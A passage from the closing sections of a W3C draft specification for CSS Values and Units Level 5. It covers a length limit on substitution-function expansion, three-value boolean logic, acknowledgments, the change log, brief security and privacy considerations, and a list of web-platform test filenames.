	that an [=arbitrary substitution function=] expands into.
	If an [=arbitrary substitution function=] would expand into a longer token stream than this limit,
	it instead is replaced with the [=guaranteed-invalid value=].

	<wpt pathprefix="css/css-variables">
	long-variable-reference-crash.html
	variable-exponential-blowup.html
	</wpt>

	This specification does not define what size limit should be imposed.
	However, since there are valid use-cases for custom properties that contain a kilobyte or more of text,
	it's recommended that the limit be set relatively high.

	Note: The general principle that UAs are allowed to violate standards due to resource constraints
	is still generally true here;
	a UA might, separately, have limits on how long of a custom property they can support,
	or how large of an identifier they can support.
	This section calls out this attack specifically
	because of its long history,
	and the fact that it can be done without any of the pieces
	<em>seeming</em> to be too large on first inspection.

<h2 id="boolean-logic">
Appendix B: Boolean Logic</h2>

	In order to accommodate future extensions of CSS,
	<<boolean-expr[]>> productions generally interpret their <<general-enclosed>> grammar branch as unknown,
	and their boolean logic is resolved using 3-value Kleene logic.
	In some cases (such as ''@supports''),
	<<general-enclosed>> is instead defined as false;
	in which case the logic devolves to standard boolean algebra.

	3-value boolean logic is applied recursively
	to a boolean condition |test| as follows:

	* A leaf-level |test| resolves to
		true, false, or unknown,
		as defined by the relevant specification.

	* ''not |test|'' evaluates to
		true if its contained |test| is false,
		false if it's true,
		and unknown if it's unknown.

	* Multiple |test|s connected with ''and'' evaluate to
		true if <em>all</em> of those |test|s are true,
		false if <em>any</em> of them are false,
		and unknown otherwise (i.e. if at least one unknown, but no false).

	* Multiple |test|s connected with ''or'' evaluate to
		true if <em>any</em> of those |test|s are true,
		false if <em>all</em> of them are false,
		and unknown otherwise (i.e. at least one unknown, but no true).

	If a “top-level” <<boolean-expr[]>> is unknown,
	and the containing context doesn't otherwise define
	how to handle unknown conditions,
	it evaluates to false.

	Note: That is, unknown doesn't “escape” a 3-value boolean expression
	unless explicitly handled,
	similar to how <code>NaN</code> doesn't “escape” a [=top-level calculation=]).


<!-- Big Text: etc

█████▌ █████▌  ███▌
█▌       █▌   █▌  █▌
█▌       █▌   █▌
████     █▌   █▌
█▌       █▌   █▌
█▌       █▌   █▌  █▌
█████▌   █▌    ███▌
-->


<h2 class="no-num" id="acknowledgments">
Acknowledgments</h2>

	Firstly, the editors would like to thank
	all of the contributors to the <a href="https://www.w3.org/TR/css-values-4/#acknowledgments">previous level</a>
	of this module.

	Secondly, we would like to acknowledge
	Guillaume Lebas,
	L. David Baron,
	Mike Bremford,
	Sebastian Zartner,
	and <a href="https://github.com/w3c/csswg-drafts/issues/6245">especially Scott Kellum</a>
	for their ideas, comments, and suggestions for Level 5;

<h2 class="no-num" id="changes">
Changes</h2>

<h3 class=no-num id="changes-recent">
Recent Changes</h3>

	Changes since the <a href="https://www.w3.org/TR/2024/WD-css-values-5-20241111/">11 November 2024 Working Draft</a>:
	* Dropped ''media-progess()'' and ''container-progress()'' in favor of using relevant units in ''progress()''.
		(<a href="https://github.com/w3c/csswg-drafts/issues/11826">Issue 11826</a>)

	See also <a href="https://www.w3.org/TR/2024/WD-css-values-5-20241111/#changes">earlier changes</a>.

<h3 class=no-num id="additions-L4">
Additions Since Level 4</h3>

	Additions since <a href="http://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>:

	* Added the “comma-wrapping” ''{}'' notation for function arguments.
	* Defined several <<url-modifier>>s for <<url>> functions.
	* Extended <<position>> to handle [=flow-relative=] positions.
		(<a href="https://github.com/w3c/csswg-drafts/issues/549#issuecomment-1823607623">Issue 549</a>)
	* Added the [[#progress|*-progress()]] family of functions, to represent interpolation progress between two values.
	* Added the [[#mixing|*-mix()]] family of functions, to represent actually interpolating between two values.
	* Added ''first-valid()'', to allow CSS's forward-compatible parsing behavior (drop invalid things, go with what's left) to be used with custom properties and other contexts where validity isn't known until <em>after</em> parsing.
	* Added ''if()'' for inline conditionals.
	* Added ''inherit()''.
	* Added the ''toggle()'' and ''attr()'' functions.
	* Added the ''random()'' and ''random-item()'' functions.
	* Added the ''sibling-count()'' and ''sibling-index()'' functions.
	* Added the ''calc-size()'' function, and the related 'interpolate-size' property.
	* Added the <<boolean-expr[]>> syntax notation to the [=value definition syntax=].


<h2 class="no-num" id="security">
Security Considerations</h2>

	This specification allows CSS <<url>> values to have various aspects of their request modified.
	Although this is new to CSS,
	every ability is already present in <{img}> or <{link}>, as well as via JavaScript.

	The ''attr()'' function allows HTML attribute values
	to be used in CSS values,
	potentially exposing sensitive information
	that was previously not accessible via CSS.
	See [[#attr-security]].
<h2 class="no-num" id="privacy">
Privacy Considerations</h2>

	This specification defines units that expose the user's screen size
	and default font size,
	but both are trivially observable from JS,
	so they do not constitute a new privacy risk.
	Similarly the ''media-progress()'' notation exposes
	information about the user's environment and preferences
	that are already observiable via [=media queries=].

	The ''attr()'' function allows HTML attribute values
	to be used in CSS values,
	potentially exposing sensitive information
	that was previously not accessible via CSS.
	See [[#attr-security]].


<wpt hidden title="Values 4 tests">
absolute-length-units-001.html
absolute-length-units-manual.html
acos-asin-atan-atan2-computed.html
acos-asin-atan-atan2-invalid.html
acos-asin-atan-atan2-serialize.html
angle-units-001.html
angle-units-002.html
angle-units-003.html
angle-units-004.html
angle-units-005.html
animations/calc-interpolation.html
animations/line-height-lh-transition.html
animations/scale-interpolation-crash.html
calc-angle-values.html
calc-background-image-gradient-1.html
calc-background-linear-gradient-1.html
calc-background-position-002.html
calc-background-position-003.html
calc-background-position-1.html
calc-background-size-1.html
calc-border-radius-1.html
calc-catch-divide-by-0.html
calc-ch-ex-lang.html
calc-complex-sign-function-crash.html
calc-complex-unresolved-serialize.html
calc-dimension-serialization-order.html
calc-height-block-1.html
calc-height-table-1.html
calc-in-calc.html
calc-in-color-001.html
calc-in-counter-001.xhtml
calc-in-font-feature-settings.html
calc-in-max.html
calc-in-media-queries-001.html
calc-in-media-queries-002.html
calc-in-media-queries-with-mixed-units.html
calc-infinity-nan-computed.html
calc-infinity-nan-serialize-angle.html
calc-infinity-nan-serialize-length.html
calc-infinity-nan-serialize-number.html
calc-infinity-nan-serialize-resolution.html
calc-infinity-nan-serialize-time.html
calc-integer.html
calc-invalid-parsing.html
calc-invalid-range-clamping.html
calc-letter-spacing.html
calc-linear-radial-conic-gradient-001.html
calc-margin-block-1.html
calc-max-height-block-1.html
calc-max-width-block-1.html
calc-max-width-block-intrinsic-1.html
calc-min-height-block-1.html
calc-min-height.html
calc-min-width-block-1.html
calc-min-width-block-intrinsic-1.html
calc-nesting-002.html
calc-nesting.html
calc-numbers.html
calc-offsets-absolute-bottom-1.html
calc-offsets-absolute-left-1.html
calc-offsets-absolute-right-1.html
calc-offsets-absolute-top-1.html
calc-offsets-relative-bottom-1.html
calc-offsets-relative-left-1.html
calc-offsets-relative-right-1.html
calc-offsets-relative-top-1.html
calc-padding-block-1.html
calc-parenthesis-stack.html
calc-positive-fraction-001.html
calc-rem-lang.html
calc-rgb-percent-001.html
calc-rounding-001.html
calc-rounding-002.html
calc-rounding-003.html
calc-rounds-to-integer.html
calc-serialization-002.html
calc-serialization.html
calc-text-indent-1.html
calc-text-indent-intrinsic-1.html
calc-time-values.html
calc-transform-origin-1.html
calc-unit-analysis.html
calc-vertical-align-1.html
calc-width-block-1.html
calc-width-block-intrinsic-1.html
calc-width-table-auto-1.html
calc-width-table-fixed-1.html
calc-z-index-fractions-001.html
calc-zero-percent-height.html
cap-invalidation.html
cap-unit-001.html
ch-empty-pseudo-recalc-on-font-load.html
ch-pseudo-recalc-on-font-load.html
ch-recalc-on-font-load.html
ch-unit-001.html
ch-unit-002.html
ch-unit-003.html
ch-unit-004.html
ch-unit-008.html
ch-unit-009.html
ch-unit-010.html
ch-unit-011.html
ch-unit-012.html
ch-unit-016.html
ch-unit-017.html
ch-unit-018.html
ch-unit-019.html
chrome-interpolation-crash.html
chrome-typed-arithmetic-crash.html
clamp-color-computed.html
clamp-color-invalid.html
clamp-integer-computed.html
clamp-integer-invalid.html
clamp-length-computed.html
clamp-length-invalid.html
clamp-length-serialize.html
clamp-none-whitespace.html
crashtests/calc-with-percent-and-number-in-line-height.html
crashtests/chrome-405422528-crash.html
crashtests/chrome-bug-492735384.html
crashtests/chrome-bug-493952652.html
crashtests/viewport-unit-inline-style-crash.html
dynamic-viewport-units-rule-cache.html
ex-calc-expression-001.html
ex-unit-001.html
ex-unit-002.html
ex-unit-003.html
ex-unit-004.html
exp-log-compute.html
exp-log-invalid.html
exp-log-serialize.html
getComputedStyle-border-radius-001.html
getComputedStyle-border-radius-002.html
getComputedStyle-border-radius-003.html
getComputedStyle-calc-mixed-units-001.html
getComputedStyle-calc-mixed-units-002.html
getComputedStyle-calc-mixed-units-003.html
hypot-pow-sqrt-computed.html
hypot-pow-sqrt-invalid.html
hypot-pow-sqrt-serialize.html
ic-unit-001.html
ic-unit-002.html
ic-unit-003.html
ic-unit-004.html
ic-unit-008.html
ic-unit-009.html
ic-unit-010.html
ic-unit-011.html
ic-unit-012.html
ic-unit-013.html
ic-unit-014.html
ic-unit-015.html
ic-unit-016.html
integer_interpolation_round_half_001.html
integer_interpolation_round_half_002.html
integer_interpolation_round_half_towards_positive_infinity_order.html
integer_interpolation_round_half_towards_positive_infinity_z_index.html
lh-rlh-on-root-001.html
lh-rlh-percentage-line-height-with-zoom.html
lh-unit-001.html
lh-unit-002.html
lh-unit-003.html
lh-unit-004.html
lh-unit-005.html
lh-unit-same-element-font-size-dependency.html
lh-unit-same-element-line-height-dependency.html
line-break-ch-unit.html
max-20-arguments.html
max-function-crash.html
max-length-percent-001.html
max-unitless-zero-invalid.html
min-length-percent-001.html
min-max-percentage-length-interpolation.html
minmax-angle-computed.html
minmax-angle-invalid.html
minmax-angle-serialize.html
minmax-integer-computed.html
minmax-length-computed.html
minmax-length-invalid.html
minmax-length-percent-computed.html
minmax-length-percent-invalid.html
minmax-length-percent-serialize.html
minmax-length-serialize.html
minmax-number-computed.html
minmax-number-invalid.html
minmax-number-serialize.html
minmax-percentage-computed.html
minmax-percentage-invalid.html
minmax-percentage-serialize.html
minmax-time-computed.html
minmax-time-invalid.html
minmax-time-serialize.html
mod-length-degrees-crash.html
negative-calc-to-non-negative-integer.html
percentage-rem-low.html
percentage-without-context.html
premature-comment-crash.html
q-unit-case-insensitivity-001.html
q-unit-case-insensitivity-002.html
rcap-invalidation.html
rch-invalidation.html
rem-length-degrees-crash.html
rem-root-font-size-restyle-1.html
rem-unit-root-element.html
resolution-with-percentage-without-context.html
rex-invalidation.html
rgba-011.html
ric-invalidation.html
rlh-invalidation.html
rlh-on-root-lengths.html
rlh-unit-001.html
round-function.html
round-length-degrees-crash.html
round-mod-rem-computed.html
round-mod-rem-invalid.html
round-mod-rem-serialize.html
sign-in-keyframes-with-relative-units.html
signed-zero.html
signs-abs-computed.html
signs-abs-invalid.html
signs-abs-serialize.html
sin-cos-tan-computed.html
sin-cos-tan-invalid.html
sin-cos-tan-serialize.html
svg-attr-case-sensitivity.html
typed-arithmetic-different-categories-crash.html
typed-arithmetic-inside-calc-crash.html
typed-arithmetic-mixed-units-crash.html
typed_arithmetic.html
typed_arithmetic_cycle.html
update-subpixel-rem-unit.html
various-values-important.html
vh-calc-support-pct.html
vh-calc-support.html
vh-em-inherit.html
vh-inherit.html
vh-interpolate-pct.html
vh-interpolate-px.html
vh-interpolate-vh.html
vh-support-margin.html
vh-support-transform-origin.html
vh-support-transform-translate.html
vh-support.html
vh-update-and-transition-in-subframe.html
vh-zero-support.html
viewport-page-print.html
viewport-relative-lengths-scaled-viewport.html
viewport-unit-011.html
viewport-units-001-print.html
viewport-units-after-font-load.html
viewport-units-compute.html
viewport-units-css2-001.html
viewport-units-extreme-scale.html
viewport-units-gutter-001.html
viewport-units-gutter-002.html
viewport-units-gutter-003.html
viewport-units-gutter-004.html
viewport-units-gutter-005.html
viewport-units-gutter-006.html
viewport-units-gutter-007.html
viewport-units-gutter-008.html
viewport-units-invalidation.html
viewport-units-keyframes.html
viewport-units-media-queries.html
viewport-units-modify.html
viewport-units-parsing.html
viewport-units-scrollbars-auto-vhw-001.html
viewport-units-scrollbars-compute.html
viewport-units-scrollbars-crash.html
viewport-units-scrollbars-custom-001.html
viewport-units-scrollbars-dynamic-001.html
viewport-units-scrollbars-mq-001.html
viewport-units-scrollbars-root-properties-001.html
viewport-units-scrollbars-scroll-vhw-001.html
viewport-units-scrollbars-scroll-vw-001.html
viewport-units-scrollbars-scroll-vw-002.html
viewport-units-scrollbars-scroll-vw-003.html
viewport-units-writing-mode-font-size.html
viewport-units-writing-mode.html
</wpt>